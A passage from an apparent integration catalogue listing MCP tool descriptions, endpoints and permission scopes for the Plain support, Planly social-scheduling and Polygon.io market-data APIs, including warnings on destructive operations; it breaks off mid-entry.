with that ID exists. Requires the `labelType:read` permission. POST /api/v1/plain/query/label_type. Scopes: labelType:read. plain_query_label_type_by_external_id (read) — Returns a label type by its external ID. Returns null if no match is found. External IDs are unique within a workspace and are set when creating or updating a label type. Requires the `labelType:read` permission. POST /api/v1/plain/query/label_type_by_external_id. Scopes: labelType:read. plain_query_label_types (read) — Returns a paginated list of label types in the workspace. By default includes both active and archived label types; pass `filters: { isArchived: false }` to exclude archived ones. POST /api/v1/plain/query/label_types. Scopes: labelType:read. plain_query_my_machine_user (read) — Returns the machine user that owns the current API key. Only callable with a machine user API key; returns a FORBIDDEN error when called with a human user session. POST /api/v1/plain/query/my_machine_user. Scopes: none. plain_query_my_permissions (read) — Returns the full list of permission strings granted to the currently authenticated user or machine user in this workspace. Useful for inspecting what actions the caller is authorized to perform. POST /api/v1/plain/query/my_permissions. Scopes: none. plain_query_my_workspace (read) — Returns the Workspace associated with the current API key or session. Useful for confirming which workspace a request is scoped to. Returns null if no workspace is in context. POST /api/v1/plain/query/my_workspace. Scopes: none. plain_query_related_threads (read) — Find threads that are semantically similar to the given thread, ranked by relevance. Each result includes the thread and a distance score (lower means more similar). POST /api/v1/plain/query/related_threads. Scopes: thread:read. plain_query_search_companies (read) — Searches companies by name or domain using a case-insensitive partial match. The search term must be at least 2 characters long. Supports cursor-based pagination and optional filtering. POST /api/v1/plain/query/search_companies. Scopes: company:read. plain_query_search_customers (read) — Search for customers using a case-insensitive partial match across name, short name, email, and external ID. Results are sorted by most recently active first. POST /api/v1/plain/query/search_customers. Scopes: customer:read. plain_query_search_tenants (read) — Searches tenants by name (case-insensitive partial match) or by external ID (exact match). The search term must be at least 2 characters long. Returns a paginated list of results. Requires the `tenant:read` permission. POST /api/v1/plain/query/search_tenants. Scopes: tenant:read. plain_query_search_threads (read) — Full-text search across thread titles, message contents, and customer names/emails. Accepts optional `ThreadsFilter` to narrow results further. POST /api/v1/plain/query/search_threads. Scopes: thread:read. plain_query_snippet (read) — Fetches a single snippet by its ID, or null if no snippet with that ID exists. Returns soft-deleted snippets (where `isDeleted` is true). Requires the `snippet:read` permission. POST /api/v1/plain/query/snippet. Scopes: snippet:read. plain_query_snippets (read) — Returns a paginated list of all snippets in the workspace. Use this to sync or display the full snippet library. Supports standard forward and backward cursor pagination. Requires the `snippet:read` permission. POST /api/v1/plain/query/snippets. Scopes: snippet:read. plain_query_tenant (read) — Fetches a single tenant by its Plain-assigned ID. Returns null if no matching tenant is found. Requires the `tenant:read` permission. POST /api/v1/plain/query/tenant. Scopes: tenant:read. plain_query_tenants (read) — Returns a paginated list of tenants in the workspace. Use the `filters` argument to narrow by ID, deleted status, or last-updated time. Requires the `tenant:read` permission. POST /api/v1/plain/query/tenants. Scopes: tenant:read. plain_query_thread (read) — Fetch a single thread by its Plain-assigned ID. Returns null if no thread with that ID exists. Requires the `thread:read` permission. POST /api/v1/plain/query/thread. Scopes: thread:read. plain_query_thread_by_external_id (read) — Fetch a thread by the external ID you assigned it, scoped to a specific customer. Because `externalId` is only unique per-customer, both `customerId` and `externalId` are required. Returns null if no match. POST /api/v1/plain/query/thread_by_external_id. Scopes: thread:read. plain_query_thread_by_ref (read) — Fetch a thread by its human-readable ref (e.g. `T-1234`). Useful when the ref is more convenient to store than the internal ID. Returns null if no match. Requires the `thread:read` permission. POST /api/v1/plain/query/thread_by_ref. Scopes: thread:read. plain_query_thread_clusters_paginated (read) — Returns a paginated list of AI-generated thread clusters for the current workspace. Use `filters` to narrow results by company, tenant, or clustering variant. POST /api/v1/plain/query/thread_clusters_paginated. Scopes: thread:read. plain_query_thread_field_schema (read) — Fetches a single thread field schema by its ID. Returns null if no schema with the given ID exists. Selecting the `createdBy`/`updatedBy` actor down to its `user` additionally requires the `user:read` permission. POST /api/v1/plain/query/thread_field_schema. Scopes: user:read. plain_query_thread_field_schemas (read) — Returns all thread field schemas defined in the workspace, paginated. Use this to discover which custom fields exist and their configuration before reading or writing thread field values. POST /api/v1/plain/query/thread_field_schemas. Scopes: user:read. plain_query_threads (read) — List threads with optional filtering and sorting, returned as a paginated connection. Supports rich filters (status, assignee, customer, label, priority, date ranges, tenant, tier, thread fields, and more) and multiple… POST /api/v1/plain/query/threads. Scopes: thread:read. plain_query_threads_by_external_id (read) — Fetch all threads that share the given external ID, returned as a paginated connection. Unlike `threadByExternalId`, this is not scoped to a customer: because `externalId` is only unique per-customer, the same external… POST /api/v1/plain/query/threads_by_external_id. Scopes: thread:read. plain_query_tier (read) — Returns a single tier by its Plain ID. Returns null if no tier with that ID exists. Requires the `tier:read` permission. POST /api/v1/plain/query/tier. Scopes: tier:read. plain_query_tiers (read) — Returns all tiers in the workspace, sorted by creation date. Supports cursor-based pagination. Requires the `tier:read` permission. POST /api/v1/plain/query/tiers. Scopes: tier:read. plain_query_timeline_entries (read) — Returns a paginated list of all timeline entries for a customer, ordered from oldest to newest. Timeline entries include every event, message, note, and automated activity that has occurred across all of the customer's… POST /api/v1/plain/query/timeline_entries. Scopes: timeline:read. plain_query_timeline_entry (read) — Fetches a single timeline entry by its ID within a customer's timeline. Returns null if the entry does not exist. POST /api/v1/plain/query/timeline_entry. Scopes: timeline:read. plain_query_user (read) — Fetch a single workspace member by their ID. Returns null if no user with that ID exists. Requires the `user:read` permission. POST /api/v1/plain/query/user. Scopes: user:read. plain_query_user_by_email (read) — Fetch a workspace member by their email address. Returns null if no match is found. Deleted users are also returned — check the `isDeleted`, `deletedAt`, and `deletedBy` fields to determine whether the user has been… POST /api/v1/plain/query/user_by_email. Scopes: user:read. plain_query_users (read) — List all human members of the workspace, with optional filters to narrow results by role assignability. Supports cursor-based pagination. Requires the `user:read` permission. POST /api/v1/plain/query/users. Scopes: user:read. ================================================================================ ## Planly URL: https://www.agenticfabriq.com/integrations/planly Section: Integrated Tools Planly — 20 MCP tools Provider key: planly. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. planly_get_ai_credits (read) — Read how many Planly AI credits a team has left, via GET /api/v2/ai/credits. Planly's own words: 'Get available AI credits left in a team.' The reply is `{"data": <integer>}` -- the remaining count and nothing else. Call it before a run of 'Complete a text prompt', which spends from this balance; there is no other way to see it. `teamId` comes from 'List teams'. GET /api/v1/planly/v2/ai/credits. Scopes: api. planly_get_channels_delete (write, destructive) — Disconnect one social channel from its team, via GET /api/v2/channels/delete. PERMANENT AND DESTRUCTIVE, and note the verb: Planly serves this deletion over **GET** with the channel `id` in the query string. That is the vendor's own design, documented that way, not a transcription error. It answers `{"data": true, "error": null}`, which says the call was accepted and names nothing, so confirm with 'List channels'. Reconnecting the channel afterwards means running the social network's own authorization again inside the Planly app -- this API cannot do it. GET /api/v1/planly/v2/channels/delete. Scopes: api. planly_post_ai_complete (write) — Send a text prompt to Planly's AI and get completions back, via POST /api/v2/ai/complete. Planly's own words: 'Complete text prompt.' The reply carries `data.id` and `data.choices[].text`, one entry per requested result. THIS SPENDS THE TEAM'S AI CREDITS -- read the balance first with 'Get available AI credits'. `teamId`, `prompt` and `n` are all required. POST /api/v1/planly/v2/ai/complete. Scopes: api. planly_post_channels_list (read) — List the social channels connected to a team, via POST /api/v2/channels/list. Each row carries the channel's `id` -- the value every schedule's `channelId` takes -- plus its `social_network`, `name`, `picture`, `url`, `type`, `is_group`, numeric `status` and how many `schedules` it holds. THE `granted_scopes` AND `declined_scopes` FIELDS BELONG TO THE SOCIAL NETWORK, not to Planly and not to Agentic Fabriq: they record what Facebook, TikTok or LinkedIn granted Planly when the channel was connected, which is why a channel can be present and still refuse a post. Set `excludeCompetitors` to true to drop competitor-type channels. NOTE THE SPELLING: this is the one operation on this surface whose team argument is `team_id` rather than `teamId`. POST /api/v1/planly/v2/channels/list. Scopes: api. planly_post_media_delete (write, destructive) — Delete media from a team's library, via POST /api/v2/media/delete. PERMANENT AND DESTRUCTIVE, and it takes an ARRAY: `ids` is a list of media ids and every one of them goes in a single call. It answers `{"data": true, "error": null}`, which says the call was accepted and names nothing, so confirm with 'List media'. A schedule that has not published yet and points at deleted media loses its attachment. POST /api/v1/planly/v2/media/delete. Scopes: api. planly_post_media_finish_upload (write) — Finalise a direct media upload, via POST /api/v2/media/finish-upload. STEP THREE OF THREE: call it after your client has PUT the bytes to the `uploadUrl` that 'Start a media upload' returned, passing back the same `mediaId`. Planly's own words: 'This step is necessary to confirm that the file was successfully uploaded and to finalize its storage on the server.' It answers with the stored media's metadata -- `contentUri`, `thumbnailUri`, `resolution`, `duration` for video, `createdBy` and `createdAt` -- and the `id` that a schedule's `media[].id` takes. POST /api/v1/planly/v2/media/finish-upload. Scopes: api. planly_post_media_import_from_url (write) — Have Planly fetch a media file from a public URL and store it in a team, via POST /api/v2/media/import-from-url. The ONE-CALL alternative to the three-step direct upload, for a file that is already on the web. Planly's supported content types are `video/mp4`, `image/png`, `image/jpeg` and `image/webp`. The reply is the same metadata shape 'Finish a media upload' returns, including the `id` that a schedule's `media[].id` takes. `teamId` and `url` are both required. POST /api/v1/planly/v2/media/import-from-url. Scopes: api. planly_post_media_list (read) — List a team's media library, via POST /api/v2/media/list. Planly's own words: 'This endpoint retrieves medias in a specified team.' CURSOR-PAGED: the reply's `data.next` is the value to send back as `pagination.cursor` on the following call, `pagination.pageSize` defaults to 50, and `pagination.orderBy` is a TWO-ELEMENT ARRAY -- index 0 is `CreatedAt` or `ContentLength`, index 1 is `asc` or `desc`. `data.totalNumberOfRows` is the full count and `data.rows[]` the page. `teamId` is required. POST /api/v1/planly/v2/media/list. Scopes: api. planly_post_media_start_upload (write) — Begin a direct media upload and get a pre-signed URL to send the bytes to, via POST /api/v2/media/start-upload. STEP ONE OF THREE, AND THE BYTES DO NOT TRAVEL THROUGH AGENTIC FABRIQ: Planly answers with a `mediaId`, an `uploadUrl`, the `verb` to use (PUT) and the `headers` to send, and your own client uploads the file to that URL before you call 'Finish a media upload'. `teamId` and `contentLength` are required, and you must supply at least one of `contentType` or `fileName` -- when both are sent Planly honours only `contentType`. Planly's own warning: `contentLength` IS VALIDATED during the upload, so declaring 10 MB and then sending 15 MB is rejected. If the file is already reachable on the web, 'Import media from a URL' does the whole thing in one call instead. POST /api/v1/planly/v2/media/start-upload. Scopes: api. planly_post_pinterest_get_board_list_by_channelid (read) — List the Pinterest boards a connected Pinterest channel can pin to, via POST /api/v2/pinterest/get-board-list/{channelId}. Planly's own words: 'Use this to get board IDs when creating schedules with Pinterest options (the boardId field is required when publishing).' Each entry in `data.boards` is a `{label, value}` pair whose `value` IS the board id. `channelId` is the PLANLY channel id from 'List channels' -- not a Pinterest account id -- and the channel has to be a Pinterest one. POST /api/v1/planly/v2/pinterest/get-board-list/{channelId}. Scopes: api. planly_post_schedule_groups_create (write) — Create or UPDATE a group of scheduled posts, via POST /api/v2/schedule-groups/create. Planly's own words: 'Providing an `id` will update the existing group, while omitting it will create a new group' -- so this one tool is both the create and the update, and sending an id REPLACES that group's schedules. A group publishes one piece of content across several channels at one `publishOn`; omit `publishOn` and Planly publishes immediately. `status` is `draft` or `scheduled` (the default). Each `schedules[]` entry needs a `channelId` and carries `content`, `media[]` and a per-network `options` object -- see that argument for the nine documented network shapes. SET `validateOnly` TO TRUE TO DRY-RUN IT: Planly validates the group and creates nothing, which is how to check a post before it goes out. `teamId` and `scheduleGroups` are required. POST /api/v1/planly/v2/schedule-groups/create. Scopes: api. planly_post_schedules_create (write) — Create scheduled posts one channel at a time, via POST /api/v2/schedules/create. The flat sibling of 'Create or update a schedule group': `schedules` is an array of posts, each with its own `channelId`, `content`, `media[]`, per-network `options` AND ITS OWN `publishOn` -- omit `publishOn` on an entry and that post publishes immediately. Use this when the posts are independent; use the schedule-group tool when one piece of content goes out across channels at one time, or when you need to UPDATE an existing group, which this tool cannot do. Planly's own note: 'The response is identical to /schedule-groups/create'. POST /api/v1/planly/v2/schedules/create. Scopes: api. planly_post_schedules_list (read) — List a team's scheduled and published posts, via POST /api/v2/schedules/list. Planly's own words: 'This endpoint retrieves schedules in a specified team. For pagination, include `next` field returned from response in next request's `pagination.cursor` field.' Each row carries the post's `content`, its `channel` summary, `publish_on`, `created_at`, a numeric `status`, the published `url` and `external_id`, and `error_message`. READ `error_message`: a post the social network REJECTED still appears in this list, and that field is the only thing that says so. `pagination.pageSize` defaults to 50. `teamId` is required. POST /api/v1/planly/v2/schedules/list. Scopes: api. planly_post_team_create (write) — Create a new Planly team, via POST /api/v2/team/create. Takes a `name` and answers `{"data": {"teamId": "..."}}` -- that id is what every other tool on this surface takes as its team argument. A team is the container for channels, media and schedules, and the account this connection authenticates as becomes its owner. POST /api/v1/planly/v2/team/create. Scopes: api. planly_post_team_delete (write, destructive) — Delete a Planly team, via POST /api/v2/team/delete. PERMANENT AND DESTRUCTIVE, and the widest destruction on this surface: the team's channels, media library and schedules go with it. Note the shape -- it is a **POST** whose `id` rides in the QUERY STRING rather than in a body, which is Planly's own design and is documented that way. It answers a bare `true`, which says the call was accepted and names nothing, so confirm with 'List teams'. POST /api/v1/planly/v2/team/delete. Scopes: api. planly_post_team_get (read) — Read one team's record, via POST /api/v2/team/get. Returns the team's `name` and `picture`, your numeric `role`, `channels_count`, `disconnected_channels_count` and `members_count`, plus the two objects worth reading before a bulk schedule: `limits`, which carries the plan's caps including the monthly schedule limit per channel, and `permissions`. `disconnected_channels_count` is the field that explains a schedule which will not publish. `id` is the TEAM id, from 'List teams'. POST /api/v1/planly/v2/team/get. Scopes: api. planly_post_team_transfer_ownership (write) — Hand ownership of a team to another of its members, via POST /api/v2/team/transfer-ownership. IRREVERSIBLE BY THE CALLER: once it succeeds the connected account is no longer the owner and cannot transfer it back -- only the new owner can. It answers `{"data": "Successfully Transferred", "error": null}`. `teamId` and `userId` are both required, and `userId` must already be a member of the team ('List team users'). POST /api/v1/planly/v2/team/transfer-ownership. Scopes: api. planly_post_team_users (read) — List the members of a team, via POST /api/v2/team/users. Each row carries the member's `id`, `fullname`, `email`, `picture` and numeric `role`, and that `id` is what 'Transfer team ownership' and 'Remove a user from a team' take as `userId`. `id` on this call is the TEAM id, not a user id. POST /api/v1/planly/v2/team/users. Scopes: api. planly_post_team_users_remove (write, destructive) — Remove a member from a team, via POST /api/v2/team/users/remove. DESTRUCTIVE: the person loses access to the team's channels, media and schedules the moment it succeeds, and putting them back is a new invitation from inside the Planly app rather than anything this API offers. It answers `{"data": "User removed from team", "error": null}`. `teamId` and `userId` are both required; `userId` comes from 'List team users'. POST /api/v1/planly/v2/team/users/remove. Scopes: api. planly_post_teams_list (read) — List every Planly team this connection belongs to, via POST /api/teams/list. Planly's own words: 'This endpoint retrieves all teams that you belong.' CALL THIS FIRST -- almost every other tool here needs a team id, and this is where it comes from. Each row carries the team's `id`, `name`, `picture`, your numeric `role`, and how many `channels` and `users` it holds. TWO THINGS ARE TRUE OF THIS ROUTE AND OF NO OTHER. It is the only operation Planly serves OUTSIDE its v2 API: its address is `/api/teams/list`, and `/api/v2/teams/list` answers 404 (measured 2026-09-25). And it answers HTTP **200** when the credential is refused, with `{"error":{"code":401,"message":"Authentication required"}}` in the body -- for a bogus key and for no Authorization header at all, while every v2 route answers a true 401 (measured 2026-09-25). Agentic Fabriq raises that envelope as the 401 it says it is rather than returning it as a result, so a dead key reads here as a dead key instead of as an empty team list. POST /api/v1/planly/legacy/teams/list. Scopes: api. ================================================================================ ## Polygon.io (Massive) URL: https://www.agenticfabriq.com/integrations/polygon Section: Integrated Tools Polygon.io (Massive) — 116 MCP tools Provider key: polygon. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. polygon_get_benzinga_v1_analyst_insights (read) — A comprehensive database of financial analyst insights and ratings for various publicly traded companies, capturing detailed information about analyst recommendations and price targets. via GET /benzinga/v1/analyst-insights GET /api/v1/polygon/benzinga/v1/analyst-insights. Scopes: api. polygon_get_benzinga_v1_analysts (read) — A comprehensive database of financial analysts, containing detailed performance metrics and identification information for individual analysts across various financial firms. via GET /benzinga/v1/analysts GET /api/v1/polygon/benzinga/v1/analysts. Scopes: api. polygon_get_benzinga_v1_bulls_bears_say (read) — A comprehensive database of analyst bull and bear case summaries for publicly traded companies, providing concise summaries of both bullish and bearish investment arguments to help investors see both sides of the story before making investment decisions. via GET /benzinga/v1/bulls-bears-say GET /api/v1/polygon/benzinga/v1/bulls-bears-say. Scopes: api. polygon_get_benzinga_v1_consensus_ratings_by_ticker (read) — A comprehensive financial consensus ratings table that aggregates analyst recommendations and price targets for individual stock tickers, capturing detailed rating breakdowns and statistical insights. via GET /benzinga/v1/consensus-ratings/{ticker} GET /api/v1/polygon/benzinga/v1/consensus-ratings/{ticker}. Scopes: api. polygon_get_benzinga_v1_earnings (read) — This table contains earnings data from Benzinga, tracking both actual and estimated financial metrics for publicly traded companies. It includes EPS and revenue figures with surprise calculations, along with metadata like fiscal periods, company identifiers, and reporting timestamps. via GET /benzinga/v1/earnings GET /api/v1/polygon/benzinga/v1/earnings. Scopes: api. polygon_get_benzinga_v1_firms (read) — A comprehensive database of financial firms, tracking unique identifiers, names, and basic metadata for various financial institutions and research firms. via GET /benzinga/v1/firms GET /api/v1/polygon/benzinga/v1/firms. Scopes: api. polygon_get_benzinga_v1_guidance (read) — A comprehensive database of financial guidance and earnings estimates for various companies, capturing key metrics related to earnings per share (EPS) and revenue projections across different fiscal periods. via GET /benzinga/v1/guidance GET /api/v1/polygon/benzinga/v1/guidance. Scopes: api. polygon_get_benzinga_v1_ratings (read) — This table contains analyst ratings and price target data from investment firms, tracking rating changes (upgrades, downgrades, initiates coverage, etc.) and price target adjustments for publicly traded companies. Each record includes the analyst details, company information, current and previous ratings/targets, and metadata like timestamps and Benzinga identifiers. via GET /benzinga/v1/ratings GET /api/v1/polygon/benzinga/v1/ratings. Scopes: api. polygon_get_benzinga_v2_news (read) — A comprehensive news article database from Benzinga, containing detailed information about financial news articles including metadata, content, and associated financial information. via GET /benzinga/v2/news GET /api/v1/polygon/benzinga/v2/news. Scopes: api. polygon_get_consumer_spending_eu_v1_merchant_aggregates (read) — Aggregated consumer transactions from European credit card panels, structured for flexible analysis and faster access to insights. Each row represents daily credit card, debit card, or open banking transactions (7-day lag from transaction date) at a tagged merchant or payment processor, split across Currency, Country, Online/Offline, and Credit/Debit dimensions. Includes ticker (Bloomberg standard) and industry mapping for ~250 US public companies across 6 European countries (UK, DE, FR, IT, ES, AT). Open banking data achieves >85% fill rate at 7 days. User counts provided across 8 and 28-day windows enable custom normalization. NOTE: Individual accounts have a 30-day minimum lag from transaction_date for licensing compliance. Data returned reflects the latest available values, including any corrections from the data provider. via GET /consumer-spending/eu/v1/merchant-aggregates GET /api/v1/polygon/consumer-spending/eu/v1/merchant-aggregates. Scopes: api. polygon_get_consumer_spending_eu_v1_merchant_hierarchy (read) — Reference data mapping merchants to parent companies, tickers, sectors, and industries across Fable's European consumer transaction panel. Each row represents a single merchant with its corporate hierarchy and classification metadata. Weekly snapshots contain ~3,500 merchants covering ~250 US public companies. Use lookup_name to join with the name field from the merchant-aggregates endpoint, filtering by active_from and active_to to match a specific transaction_date (e.g., active_from.lte=2025-06-15&active_to.gte=2025-06-15). via GET /consumer-spending/eu/v1/merchant-hierarchy GET /api/v1/polygon/consumer-spending/eu/v1/merchant-hierarchy. Scopes: api. polygon_get_crypto_v1_exchanges (read) — Global cryptocurrency exchanges and digital asset trading platforms, including major centralized exchanges (Coinbase, Binance, Bitfinex, etc.) that facilitate trading of cryptocurrencies and digital tokens worldwide. via GET /crypto/v1/exchanges GET /api/v1/polygon/crypto/v1/exchanges. Scopes: api. polygon_get_etf_global_v1_analytics (read) — ETF Global analytics data containing risk scores, reward metrics, and quantitative analysis for ETF composite tickers. via GET /etf-global/v1/analytics GET /api/v1/polygon/etf-global/v1/analytics. Scopes: api. polygon_get_etf_global_v1_constituents (read) — ETF Global constituents data containing detailed information about the securities held within ETFs, including weights, market values, and security identifiers. via GET /etf-global/v1/constituents GET /api/v1/polygon/etf-global/v1/constituents. Scopes: api. polygon_get_etf_global_v1_fund_flows (read) — ETF Global fund flow data containing information about ETF share movements, net asset values, and fund flow metrics. via GET /etf-global/v1/fund-flows GET /api/v1/polygon/etf-global/v1/fund-flows. Scopes: api. polygon_get_etf_global_v1_profiles (read) — ETF Global industry profile data containing comprehensive ETF metadata including financial metrics, operational details, and exposure information. via GET /etf-global/v1/profiles GET /api/v1/polygon/etf-global/v1/profiles. Scopes: api. polygon_get_etf_global_v1_taxonomies (read) — ETF Global taxonomy data containing detailed classification and categorization information for ETFs including investment strategy, methodology, and structural characteristics. via GET /etf-global/v1/taxonomies GET /api/v1/polygon/etf-global/v1/taxonomies. Scopes: api. polygon_get_fed_v1_funding_conditions (read) — Daily U.S. money-market funding conditions from the Federal Reserve and the Federal Reserve Bank of New York, including the Federal Funds Effective Rate, SOFR, OBFR, tri-party general collateral repo rates, Treasury-collateralized overnight reverse repo and repo operation amounts, and commercial paper rates. One row per calendar day; daily federal-funds series generally populate calendar-day rows, while market-rate, volume, and commercial-paper series are generally published on business days and may be null on weekends or holidays. via GET /fed/v1/funding-conditions GET /api/v1/polygon/fed/v1/funding-conditions. Scopes: api. polygon_get_fed_v1_inflation (read) — A table tracking inflation and price indices, including Consumer Price Index (CPI) and Personal Consumption Expenditures (PCE) metrics over time. via GET /fed/v1/inflation GET /api/v1/polygon/fed/v1/inflation. Scopes: api. polygon_get_fed_v1_inflation_expectations (read) — A table tracking inflation expectations from both market-based and economic model perspectives across different time horizons. via GET /fed/v1/inflation-expectations GET /api/v1/polygon/fed/v1/inflation-expectations. Scopes: api. polygon_get_fed_v1_labor_market (read) — Labor market indicators from the Federal Reserve, including unemployment rate, labor force participation, average hourly earnings, and job openings data. via GET /fed/v1/labor-market GET /api/v1/polygon/fed/v1/labor-market. Scopes: api. polygon_get_fed_v1_treasury_yields (read) — A record of U.S. Treasury bond yields across various maturity periods, tracking historical interest rates from short-term to long-term government securities. via GET /fed/v1/treasury-yields GET /api/v1/polygon/fed/v1/treasury-yields. Scopes: api. polygon_get_forex_v1_exchanges (read) — Global foreign exchange (FX) trading venues and market infrastructure, including electronic trading platforms, banks, and other institutions facilitating currency pair trading worldwide. via GET /forex/v1/exchanges GET /api/v1/polygon/forex/v1/exchanges. Scopes: api. polygon_get_futures_v1_aggs_by_ticker (read) — Get aggregates for a contract in a given time range. via GET /futures/v1/aggs/{ticker} GET /api/v1/polygon/futures/v1/aggs/{ticker}. Scopes: api. polygon_get_futures_v1_contracts (read) — The Contracts API provides a single source for discovering all listed futures contracts and retrieving complete contract specifications. You can query the full contract index with filters for product code, trade dates, active status, and date, returning key attributes such as ticker, first and last trade dates, days to maturity, exchange code, and order quantity limits in paginated form. The same API also returns the full specification for a single contract, including settlement dates, tick sizes, and other trading and risk related fields. Point-in-time lookups allow you to reconstruct the exact contract definition that applied on any given day. Use Cases: Historical research, trading system integration, portfolio workflows, risk management. via GET /futures/v1/contracts GET /api/v1/polygon/futures/v1/contracts. Scopes: api. polygon_get_futures_v1_exchanges (read) — US futures exchanges and trading venues including major derivatives exchanges (CME, CBOT, NYMEX, COMEX) and other futures market infrastructure for commodity, financial, and other derivative contract trading. via GET /futures/v1/exchanges GET /api/v1/polygon/futures/v1/exchanges. Scopes: api. polygon_get_futures_v1_market_status (read) — Retrieve the current market status for a specific product or products. This endpoint returns real-time indicators, such as open, pause, close, for futures products, along with the corresponding exchange and product codes and an evaluation timestamp. This information enables users to monitor operational conditions and adjust their trading strategies accordingly. Use Cases: Real-time monitoring, algorithm scheduling, UI updates, operational planning. via GET /futures/v1/market-status GET /api/v1/polygon/futures/v1/market-status. Scopes: api. polygon_get_futures_v1_products (read) — The Products API is a unified source for discovering all supported futures products and retrieving full product specifications. It returns the complete product universe with product codes, names, exchange identifiers, sector and asset class classifications, product type, settlement method, and pricing and quotation details. You can filter by name, exchange, sector, asset class, product type, or date to capture the product set or product definition that existed at a specific point in time. It also retrieves the full specification for a single product, supporting accurate system configuration, analytics, trading workflows, and historical reconciliation. Use Cases: Product specification, historical product checks, risk management, trading system integration. via GET /futures/v1/products GET /api/v1/polygon/futures/v1/products. Scopes: api. polygon_get_futures_v1_quotes_by_ticker (read) — Retrieve quote data for a specified futures contract ticker. Each record includes the best bid and offer prices, sizes, and timestamps, reflecting the prevailing quote environment at each moment. This endpoint supports detailed analysis of price dynamics and liquidity conditions to inform trading decisions and market research. Use Cases: Liquidity analysis, price discovery, trading strategy refinement, market research. via GET /futures/v1/quotes/{ticker} GET /api/v1/polygon/futures/v1/quotes/{ticker}. Scopes: api. polygon_get_futures_v1_schedules (read) — The Schedules API provides a unified way to retrieve trading schedules for futures markets, returning precise session open and close times, intraday breaks, and any adjustments for holidays or special events. You can filter schedules by session_end_date or retrieve the schedule for a single product using its product code. All times are returned in Coordinated Universal Time (UTC), making it straightforward to align trading, execution, and operational workflows across systems. Use Cases: Schedule planning, market analysis, strategy alignment, risk and operations management. via GET /futures/v1/schedules GET /api/v1/polygon/futures/v1/schedules. Scopes: api. polygon_get_futures_v1_snapshot (read) — Retrieve a snapshot of the most recent futures contract data. via GET /futures/v1/snapshot GET /api/v1/polygon/futures/v1/snapshot. Scopes: api. polygon_get_futures_v1_trades_by_ticker (read) — Retrieve comprehensive, tick-level trade data for a specified futures contract ticker over a defined time range. Each record includes the trade price, size, session start date, and precise timestamps, capturing individual trade events throughout the period. This granular data is essential for constructing aggregated bars and performing detailed analyses of intraday price movements, making it a valuable tool for backtesting, algorithmic strategy development, and market research. Use Cases: Intraday analysis, algorithmic trading, backtesting, market research. via GET /futures/v1/trades/{ticker} GET /api/v1/polygon/futures/v1/trades/{ticker}. Scopes: api. polygon_get_options_v1_exchanges (read) — US options exchanges and trading venues including traditional options exchanges (CBOE, ISE, etc.), Securities Information Processors (SIP), and other options market infrastructure for derivatives trading. via GET /options/v1/exchanges GET /api/v1/polygon/options/v1/exchanges. Scopes: api. polygon_get_options_v3_quotes_by_ticker (read) — Contains NBBO (National Best Bid and Offer) quote records for US options contracts, capturing bid/ask prices, sizes, and exchange attribution at nanosecond precision. via GET /options/v3/quotes/{ticker} GET /api/v1/polygon/options/v3/quotes/{ticker}. Scopes: api. polygon_get_options_v3_trades_by_ticker (read) — Contains individual trade transactions for US options contracts, capturing trade execution details including pricing, timing, and exchange information. via GET /options/v3/trades/{ticker} GET /api/v1/polygon/options/v3/trades/{ticker}. Scopes: api. polygon_get_stocks_dev_trades_by_ticker (read) — Contains individual trade transactions for US stocks, capturing trade execution details including pricing, timing, and exchange information. via GET /stocks/dev/trades/{ticker} GET /api/v1/polygon/stocks/dev/trades/{ticker}. Scopes: api. polygon_get_stocks_filings_10_k_vx_0_sections (read) — SEC document text sections providing raw text content from specific sections of SEC filings (10-K, 10-Q, etc.). via GET /stocks/filings/10-K/vX_0/sections GET /api/v1/polygon/stocks/filings/10-K/vX_0/sections. Scopes: api. polygon_get_stocks_filings_10_k_vx_sections (read) — SEC document text sections providing raw text content from specific sections of SEC filings (10-K, 10-Q, etc.). via GET /stocks/filings/10-K/vX/sections GET /api/v1/polygon/stocks/filings/10-K/vX/sections. Scopes: api. polygon_get_stocks_filings_8_k_vx_disclosures (read) — SEC 8-K filing disclosure categorization. A single 8-K filing can produce multiple rows when it covers multiple disclosure types — each row represents one tagged disclosure within the filing, classified into primary, secondary, and tertiary categories with a supporting text excerpt. The full classification list is available at /stocks/taxonomies/vX/disclosures. via GET /stocks/filings/8-K/vX/disclosures GET /api/v1/polygon/stocks/filings/8-K/vX/disclosures. Scopes: api. polygon_get_stocks_filings_8_k_vx_text (read) — SEC 8-K filings text providing parsed content from current report filings. 8-K forms report material events such as earnings, acquisitions, executive changes, and other significant corporate events. via GET /stocks/filings/8-K/vX/text GET /api/v1/polygon/stocks/filings/8-K/vX/text. Scopes: api. polygon_get_stocks_filings_vx_13_f (read) — SEC Form 13F filings data showing institutional investment manager holdings. Form 13F is required to be filed quarterly by institutional investment managers with at least $100 million in qualifying assets under management. via GET /stocks/filings/vX/13-F GET /api/v1/polygon/stocks/filings/vX/13-F. Scopes: api. polygon_get_stocks_filings_vx_form_3 (read) — SEC Form 3 filings reporting initial statements of beneficial ownership of securities. Filed by corporate insiders (directors, officers, and 10%+ shareholders) when they first acquire a position. via GET /stocks/filings/vX/form-3 GET /api/v1/polygon/stocks/filings/vX/form-3. Scopes: api. polygon_get_stocks_filings_vx_form_4 (read) — SEC Form 4 filings reporting changes in beneficial ownership of securities. Filed by corporate insiders (directors, officers, and 10%+ shareholders) within two business days of a transaction. via GET /stocks/filings/vX/form-4 GET /api/v1/polygon/stocks/filings/vX/form-4. Scopes: api. polygon_get_stocks_filings_vx_index (read) — SEC EDGAR master index providing metadata for all SEC filings including form types, filing dates, and direct links to source documents. via GET /stocks/filings/vX/index GET /api/v1/polygon/stocks/filings/vX/index. Scopes: api. polygon_get_stocks_filings_vx_risk_factors (read) — The risk factors identified in companies' 10K filings. via GET /stocks/filings/vX/risk-factors GET 